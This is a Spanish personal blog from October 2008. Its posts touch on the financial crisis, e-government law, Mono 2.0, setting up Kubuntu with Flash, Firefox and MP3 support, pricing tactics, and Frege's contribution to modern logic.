La conclusión, la que intuíamos. Esos productos financieros no son más que chanchullos de los bancos para evitar las medidas de control e inventarse una bola que cada vez es más y más grande hasta que explota por desconfianza mutua. Me imagino que en el nuevo capitalismo que surja tras la crisis pondrán coto a prácticas que se han considerado normales en los últimos años.

Bueno, un pequeño fracaso de las ideas neoliberales, y para más inri le dan el premio Nobel a uno de sus mayores críticos. Clic en Paul Grugman para saber por qué le dan el premio.

Saludos.

pd: Por cierto, ahí va el diccionario de vocablos de Leopoldo Abadía.

jueves, octubre 09, 2008

Nuestros papeleos con la Administración


Hola,

Esto que he puesto hoy es la convocatoria "TIC en las Administraciones Públicas 2008" que se va a celebrar en Madrid los días 21 y 22 de octubre.

Más que el evento en sí, lo más importante para los ciudadanos es el texto que viene en la portada: "La adaptación a las exigencias de la Ley 11/2007 antes de 2010 y el reciente anuncio de la aprobación del Plan Avanza 2 antes de 2009, dibujan el nuevo escenario que impulsará definitivamente a una Administración Pública 100% electrónica".

Que es esto de la Ley 11/2007. Básicamente la Ley que va a obligar a la Administraciones entre otras cosas a:

1.-Reconocer el derecho de los ciudadanos a relacionarse con la Administración por medios electrónicos (artículo 1).

2.-A no aportar datos y documentos que obren ya en la Administración (artículo 6).

El plan avanza 2 es algo más etéreo. Si buscamos en google parece que de momento sólo hay humo aunque el Ministro de Industria, Comercio y Turismo insiste en que estará acabado antes de fin de año.

Por lo que se puede ver el plan que "se desarrollará en el horizonte de 2012, con el objetivo de que las tecnologías formen parte de la vida cotidiana."

My personal opinion
Para este viaje (super plan de avance) no hacían falta muchas alforjas.


miércoles, octubre 08, 2008

Buenas noticias para mi nuevo GNU/Linux



Hola, ¿que tal va todo?

Parece que las buenas noticias vienen de dos en dos. Después de la exitosa instalación de Kubuntu ahora van y lanzan la nueva versión de Mono (2.0). Bien por el proyecto de Miguel de Icaza.

El proyecto Mono lleva ya unos cuantos años de camino y lo que pretende es poder trasladar la plataforma .net a entornos diferentes a los de Microsoft como son GNU/Linux y Mac.

En cuanto tenga un momento libre compilo los programas VB.NET de cálculo de primos en mi nuevo Linux y probamos a ver que tal va la cosa.

Creo que es una gran noticia ya que en la práctica supone que la mejor y más amplia plataforma de desarrollo de todos los tiempos esté disponible para GNU/Linux.

Esta opinión seguramente sea muy discutida, ya que claramente es una opción que puede debilitar en el futuro la supermacia de Java (mejor dicho la especificación J2EE) como opción multiplataforma.

En general creo que es bueno poder elegir. Tampoco me gustaría que .NET arrasara y Java desapareciera.

Saludos.

martes, octubre 07, 2008

Siempre que algo sale mal...

(Noticia en Deia el 7 de octubre de 2008).

Últimamente cada vez que algo sale mal se ha convertido una fea costumbre recurrir al fallo informático.

Para empezar determinar la suerte de un sorteo no debería ser informatizada. Imaginaros el sorteo de navidad por ordenador. ¿Qué pensaríais de un sorteo así?

Antes, los sorteos de pisos de protección oficial se hacían con un bombo.
¿Os imagináis qué habría ocurrido si de repente se dieran cuenta de que faltaban bolas en el bombo?. ¿O se estropeara la manivela?

Alguien diría "Errores de cálculo en la selección de bolas complican un sorteo", o "Errores de mantenimiento en el bombo complican un sorteo".

Pues no, haber revisado lo que había que revisar antes del sorteo. Y por si acaso algo se rompe se llevan dos. Y eso no es un tema informático.

Saludos.

lunes, octubre 06, 2008

cosas del mercadeo

Hola chic@s,

Alguna vez os he contado que me gusta mucho el blog de Chema Alonso y de vez en cuando dejo algún comentario por allí.

Creo que el que he dejado hace unos pocos minutos tiene cierto interés para entender la peculiar lógica empresarial en el mercado de consumo.

Os lo pego aquí tal cual. Y hasta la vista.

Blogger Mikelats dijo...

Hay miles de casos así.

Por ejemplo el tema de los teclados y ratones inalámbricos y a pilas.
Un peñazo que te deja tirado en el peor momento y encima son más caros que los normales.

Hay un par de libros que explican muy bien como nos "engañan" o nos dejamos "engañar":

El "economista camuflado" de Tim Harford y "El economista naturalista" de Robert Frank. No tengo ni idea de quien a copiado a quien, pero prefiero el libro de señor Tim.

Robert Frank explica (pag. 235) por qué no se utilizan los zapatos con velcro cuando son mucho más cómodos que los de cordones, y yo añadiría que son tecnológicamente más avanzados (vienen de la carrera espacial).

@maligno,

Cuando te centras exclusivamente en aspectos técnicos dejas de lado lo más importante, las leyes del mercado:

En la página 117 plantea: ¿Por qué Apple vende los ordenadores portátiles de color negro por 150 dólares más que los blancos de iguales características? (precios del 1 de lulio de 2006).

El autor cree que Apple se fijó en lo ocurrido en otoño de 2005 cuando sacó al mercado la versión negra del iPod.
Aunque costaba igual y era igual que el blanco, la versión negra se agotó enseguida por su novedad.

Al fijar el mismo precio Apple perdió dinero y no era un tema técnico.

¿Por qué pasa esto? Porque hay compradores que valoran la novedad o innovación que está ahora tan de moda. Y además estos compradores son los menos sensibles al precio.

"El sobreprecio de los portátiles negros es un procedimiento rudimentario para identificar a esos compradores".

En el libro de Tim (pag. 90) mencionan el caso de las impresoras Laser Writer E de IBM. Resulta que hicieron 2 modelos diferentes. La cara era la normal y en la barata "había un chip adicional que la hacía más lenta" por lo tanto era realmente más costosa en fabricación.

Más adelante dice que Intel hizo algo parecido con dos procesadores similares. Lo curioso es que fabricar el barato era más costoso porque había que deshabilitar funciones del superior.

Luego hay más ejemplos como paquetes software con versiones profesionales y otras con funcionalidad reducida. Normalmente la reducida se obtiene capando el profesional por lo que el precio no va en consonancia con el esfuerzo de desarrollo.

Saludos.

pd: la superioridad tecnológica sólo es un aspecto entre otros muchos.

domingo, octubre 05, 2008

Afinando el Kubuntu



Según se instala esto de serie no se ven los bonitos videos de Internet. Por ejemplo el que me recomendaba pokèmon kamikaze en el anterior post.

No hay que preocuparse demasiado porque el propio Firefox nos advierte: "Additional plugins are required to display all the media on this page".

Además de avisar nos da la opción de "Install missing pluggins" aunque advierte de que hay que hacerlo de forma manual (Manual Install). Realmente nos remiten a la zona de descarga de "Adobe Flash Player".

Descargo el fichero .tar.gz y lo ejecuto desde la línea de comandos.

El instalable nos preguntará si queremos instalarlo para Firefox le decimos que SI, y luego a ver si hay más navegadores y le decimos que no.

El video sigue sin verse. Reinicio y listo. Ya no hay video que se resista.

¿Que más se puede mejorar?

He pensado que me apetece registrarme como usuario Linux y registrar también mi máquina.

Voy a counter.li.org que es un contador de usuarios y máquinas y lo primero que se ve es lo que he puesto en la cabecera de este post. Supuestamente hay 135.233 usuarios registrados y 150.216 máquinas.

Hago clic en "Get Counted", relleno el formulario y listo. Me asignan el número de usuario 480.015. Cuando vuelvo a visitar la página de inicio minutos más tarde ya indica que hay 135.235 usuarios registrados.

Luego clic en "Count your machine" y esto es un poco más engorroso porque pide información de la memoria, procesador, megahercios y disco duro. En caso de dudas Abrimos SYSTEM, KINFOCENTER que es como el icono sistema de Windows.

Al final mi bonita máquina es la número 388.574. Cuando vuelvo maś minutos más tarde indican que hay 150.219 máquinas registradas.

Ahora voy a añadir la bonita imagen de usuario Linux registrado en mi perfil.

Saludos.

viernes, octubre 03, 2008

A gusto...



Así de agustito me he quedado con mi nuevo PC.

Algunos recordarán como tuve un problemilla con mi Windows XP o mejor dicho con la partición.

Después de aquello decidí que iba a probar Ubuntu pero en serio, no como hasta entonces en una partición muerta.

Me volví loco intentando configurar los drivers del Wifi-USB para Windows en el Kubuntu (se hace con ndiswrapper pero no sirve para todos los dispositivos). Arrojé la toalla.

Pero hoy he pensado que tenía razón aquel que decía que bueno, si no funciona por Wifi tira un cable y a tomar por saco.

Mi PC no tenía tarjeta de red pero los de telefónica dejaron uno en la caja del router, así que no había nada que perder. Enchufo la tarjeta, pongo el latiguillo de 10 metros enciendo y ¡MILAGRO!... ME CONECTO A INTERNET SIN CONFIGURAR NADA DE NADA.

Pero nada eh...ni proxy (que no hay), ni gateway, ni DNS-s, ni ocho cuartos. Abro el navegador (Konqueror) y empiezo a navegar alegremente en mi nuevo PC recuperado.

De repente, una ventanita con el título "KDE plugin Wizard" que me dice: "Siguiente plugin disponible: Macromedia Flas Player 9.0". Pues nada a instalar un siguiente por aquí, un agree por allá y perfectamente instalado.

Bueno, digo, vamos a ver el correo de gmail...hay que tristeza, no se ve del todo bien y no puedo contestar un mensaje. Voy a google pongo FIREFOX y voy a la web de Mozilla directamente a la página de descarga. Clic en Download Firefox 3. Ya han comprobado que es un GNU/Linux porque descarga directamente un fichero BZ2 de extensión .tar.bz2. Se instala, doble clic en Firefox y a contestar los correos sin problemas.

Ahora, pienso lo siguiente...¿me reconocerá la música que tengo en mis discos extraibles?

Enciendo los dos discos y me da la opción de abrir nueva ventana. Los mp3 se ven sin problemas. Doble clic, pero...nuevo mensaje: Amorok currently cannot play MP3 files. Pero también me sale un botoncito que dice: INSTALL MP3 SUPPORT. Pues tira millas.

En este punto he tenido un pequeño problemilla. Se conoce que para instalar ese soporte a MP3 utiliza un gestor de paquetes llamado ADEPT MANAGER. Pues bien, fui tan manazas cuando estuve intentando instalar el ndiswrapper para el Wifi-USB que me cargué algo del ADEPT MANAGER.

Busco el error en Internete y veo que la mayoría de la gente recomienda revisar el fichero /etc/apt/sources.list porque debe haber una fuente incorrecta.

Hay uno que recomienda hacer una copia de sources.list.save por ser el fichero anterior a la modificación del sources.list.

Hago el sudo cp /etc/apt/sources.list.save /etc/apt/sources.list pero no resulta ya que los dos ficheros eran ya iguales y estaban igual de mal.

Bueno, edito con el VI el fichero de marras y enseguida veo lo que está mal. La última línea no puede estar bien porque se trata algo que no pinta nada en este fichero. Lo elimino y siguiendo un consejo que he encontrado por ahí hago:

sudo apt-get check
Un mensaje me dice que todo está bien.

Ahora si me ha dejado instalar el complemento sin problemas (MP3 support now installed, you will need to restart Amarok) y puedo oir los mp3 que me den la gana.

Ha sido poner el cablecito y pasar del agua al vino. Mucho más fácil de lo que pensaba. Una experiencia muy recomendable.

Saludos.

miércoles, octubre 01, 2008

Un poco de historia




Hola amig@s,
Estoy mal. Cada vez peor desde el sábado. Dicen que los chicos somos unos quejicas, pero es que no hago más que toser :-(

Bueno, con este post quiero iniciar una serie sobre historia informática. Por supuesto son apreciaciones subjetivas. Otros preferirán  empezar por el ábaco o la máquina analítica, pero prefiero poner mi toque personal.

Vamos a empezar por...Frege. Es el principio de toda la informática moderna (in my opinion of course). A esta etapa le llamaremos "etapa filosófica".

Tiro un poco de libro...Frege nació en 1848 y vivió hasta 1914, y ahora lo interesante: Pasó totalmente desapercibido porque la filosofía de moda en su época iba por otro lado. En este momento lo más era la fenomenología.

En wikipedia aparece ya como un campeón http://es.wikipedia.org/wiki/Frege
pero no hay que olvidar que murió siendo un anónimo profesor.

Hoy en día se reconoce la importancia de Frege y se le concede prácticamente la paternidad de la lógica moderna. La lógica hasta Frege prácticamente estaba en el estado en el que lo dejó Aristóteles. Bueno, esto no es nada exacto. Muchos estaréis pensando en el algebra de Boole por ejemplo y su similitud con la lógica.

Pero por algún sitio había que comenzar así que nos centramos en como en 1879 Frege publica la Conceptografía (Begriffsschrift). En este libro Frege plantea un lenguaje formal y un cálculo lógico.

Se dio cuenta de que los conectores lógicos se pueden expresar con  la condicional y la negación, y también de que la cuantificación existencial se puede expresar con negaciones y cuantificación universal (y viceversa claro).

Con esas equivalencias en mente eligió por un lenguaje que utiliza negaciones, las condicionales y la cuantificación universal. Luego aplicando sencillas reglas se obtienen diferentes conclusiones a partir de una premisas.

Para los que hayan estudiado la lógica de segundo orden (la de predicados), se puede decir que la inventó Frege. Inventar no pega mucho, pero se entiende ¿no?

No se..., me gusta mucho la lógica, pero tal vez no interese a nadie. Si alguien muestra el mínimo interés otro día entramos a la lógica de segundo nivel.

De momento ya vale. Saludos.